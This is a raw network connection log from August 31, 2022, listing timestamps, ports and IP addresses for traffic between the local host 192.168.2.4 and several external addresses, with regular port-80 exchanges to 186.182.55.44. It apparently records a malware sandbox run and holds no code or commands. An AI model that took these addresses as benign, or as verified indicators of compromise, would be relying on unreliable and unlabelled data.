Aug 31, 2022 14:29:31.020837069 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:31.195358992 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.195406914 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.195487976 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.195882082 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.195897102 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.221724033 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:31.237312078 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.237468004 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.282593966 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.282633066 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.283170938 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.286016941 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.309142113 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309226036 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309315920 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.309335947 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309357882 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309422970 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.309525013 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309709072 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.309787035 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.492643118 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.492690086 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:31.492712021 CEST	49801	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:31.492727041 CEST	443	49801	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:32.051862001 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.051915884 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.052010059 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.052330971 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.052357912 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.126863956 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.127069950 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.162142992 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.162197113 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.162786007 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.164458036 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.211369038 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221126080 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221164942 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221194029 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221221924 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221241951 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.221263885 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221280098 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.221435070 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.221489906 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.518806934 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.518850088 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.518868923 CEST	49802	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:32.518888950 CEST	443	49802	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:32.946604013 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:32.946662903 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:32.946743965 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.020582914 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.020648003 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.062644005 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.062772989 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.098963976 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:33.118573904 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.118654013 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.119221926 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.120788097 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.152404070 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.152545929 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.152633905 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.152687073 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.152801991 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.152920008 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.152940035 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.152967930 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.153075933 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.221858978 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:33.383059025 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.383126020 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.383155107 CEST	49803	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.383171082 CEST	443	49803	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.837279081 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.837332010 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.837424994 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.889990091 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:33.890016079 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.933300018 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:33.933423042 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.004756927 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.004789114 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.005142927 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.006767035 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.034703016 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.034842014 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.034905910 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.034924984 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.035013914 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.035053968 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.035062075 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.035176992 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:34.035232067 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:34.662688971 CEST	80	49729	208.95.112.1	192.168.2.4
Aug 31, 2022 14:29:34.662883997 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:29:34.739429951 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:34.909544945 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:36.489414930 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:36.628448009 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:37.911320925 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:38.020251989 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:38.266164064 CEST	49729	80	192.168.2.4	208.95.112.1
Aug 31, 2022 14:29:38.267036915 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:38.267071009 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:38.267175913 CEST	49804	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:38.267191887 CEST	443	49804	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:38.296324015 CEST	80	49729	208.95.112.1	192.168.2.4
Aug 31, 2022 14:29:39.224392891 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:39.409910917 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:40.629108906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:29:40.629262924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:29:40.629348040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:29:40.756156921 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:40.795656919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:29:40.910099030 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:42.067833900 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:42.128884077 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:43.270823002 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:43.410290956 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:44.364866972 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:44.410362005 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:44.515899897 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:44.515949965 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:44.516076088 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:44.516546965 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:44.516568899 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:44.555193901 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:44.555421114 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.458359003 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:45.517401934 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.517744064 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.519823074 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:45.566693068 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.637295961 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.663789988 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.663858891 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.663921118 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.663975000 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.663999081 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.664061069 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:45.664067984 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.664099932 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:45.664160967 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:46.552403927 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:46.723098993 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:47.519395113 CEST	49806	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:47.519428968 CEST	443	49806	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:47.865067959 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:47.910640955 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:48.958462000 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:49.020121098 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:50.161866903 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:50.223366976 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:51.130137920 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:51.130192041 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:51.130295992 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:51.255626917 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:51.410979986 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:51.630588055 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:51.630604982 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:51.705060959 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:51.705269098 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.135591984 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.135621071 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.136053085 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.137609959 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.178590059 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178648949 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178694010 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178739071 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178786993 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.178800106 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178817987 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.178874016 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:52.178917885 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:52.360390902 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:52.411917925 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:53.552330971 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:53.725290060 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:54.974457026 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:55.020596981 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:56.177551031 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:56.223905087 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:56.784086943 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:56.784130096 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:56.784204960 CEST	49807	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:56.784213066 CEST	443	49807	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:57.380470037 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:57.520867109 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:58.583918095 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:58.724126101 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:59.533055067 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:59.533126116 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:59.533231020 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:59.533535004 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:59.533581972 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:59.609601021 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:59.609774113 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:59.677469015 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:59.739803076 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:00.155669928 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:00.155706882 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.156018019 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.157690048 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:00.199417114 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208764076 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208813906 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208846092 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208914995 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:00.208921909 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208950043 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.208969116 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:00.209008932 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:00.209063053 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:00.662445068 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:00.817992926 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:01.275166988 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:01.275213957 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:01.275274038 CEST	49808	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:30:01.275285006 CEST	443	49808	172.67.188.70	192.168.2.4
Aug 31, 2022 14:30:01.756314993 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:01.911813974 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:02.652797937 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:02.652889013 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:02.653090954 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:02.849435091 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:02.911993027 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:03.029071093 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.029107094 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.069840908 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.070019007 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.658922911 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.658971071 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.659226894 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.660984039 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.683584929 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683631897 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683707952 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683749914 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683773041 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.683794975 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683809996 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:03.683851957 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:03.683897018 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:04.052473068 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:04.240204096 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:04.433074951 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:04.433109045 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:04.433120012 CEST	49809	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:04.433126926 CEST	443	49809	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:05.474481106 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:05.521575928 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:06.421238899 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:06.421281099 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:06.421364069 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:06.677674055 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:06.818525076 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:07.171983004 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:07.172019958 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:07.218445063 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:07.218631983 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:07.771538019 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:07.912545919 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:08.052897930 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.052927017 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.053247929 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.070517063 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.095542908 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.095624924 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.095689058 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.095731020 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.095747948 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.095808029 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.095823050 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.095963955 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.096031904 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.698028088 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.698064089 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.698141098 CEST	49810	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:08.698158026 CEST	443	49810	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:08.756092072 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:08.912486076 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:10.068670988 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:10.206286907 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:10.206331968 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:10.206434011 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:10.240767956 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:10.822825909 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:10.822858095 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:10.869532108 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:10.869677067 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.271557093 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:11.318958998 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:11.328032970 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.328073025 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.328607082 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.330252886 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.362247944 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362381935 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362483978 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.362509966 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362612009 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362672091 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.362677097 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362802982 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.362867117 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.947460890 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.947496891 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:11.947514057 CEST	49811	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:11.947520018 CEST	443	49811	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:12.365720034 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:12.412832975 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:13.459194899 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:13.522299051 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:14.553037882 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:14.741064072 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:15.320422888 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:15.320462942 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:15.320569992 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:15.974808931 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:16.022460938 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:16.070141077 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:16.070199966 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.114094019 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.114219904 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:16.910315990 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:16.910345078 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.910660982 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.912172079 CEST	49813	443	192.168.2.4	104.21.40.196
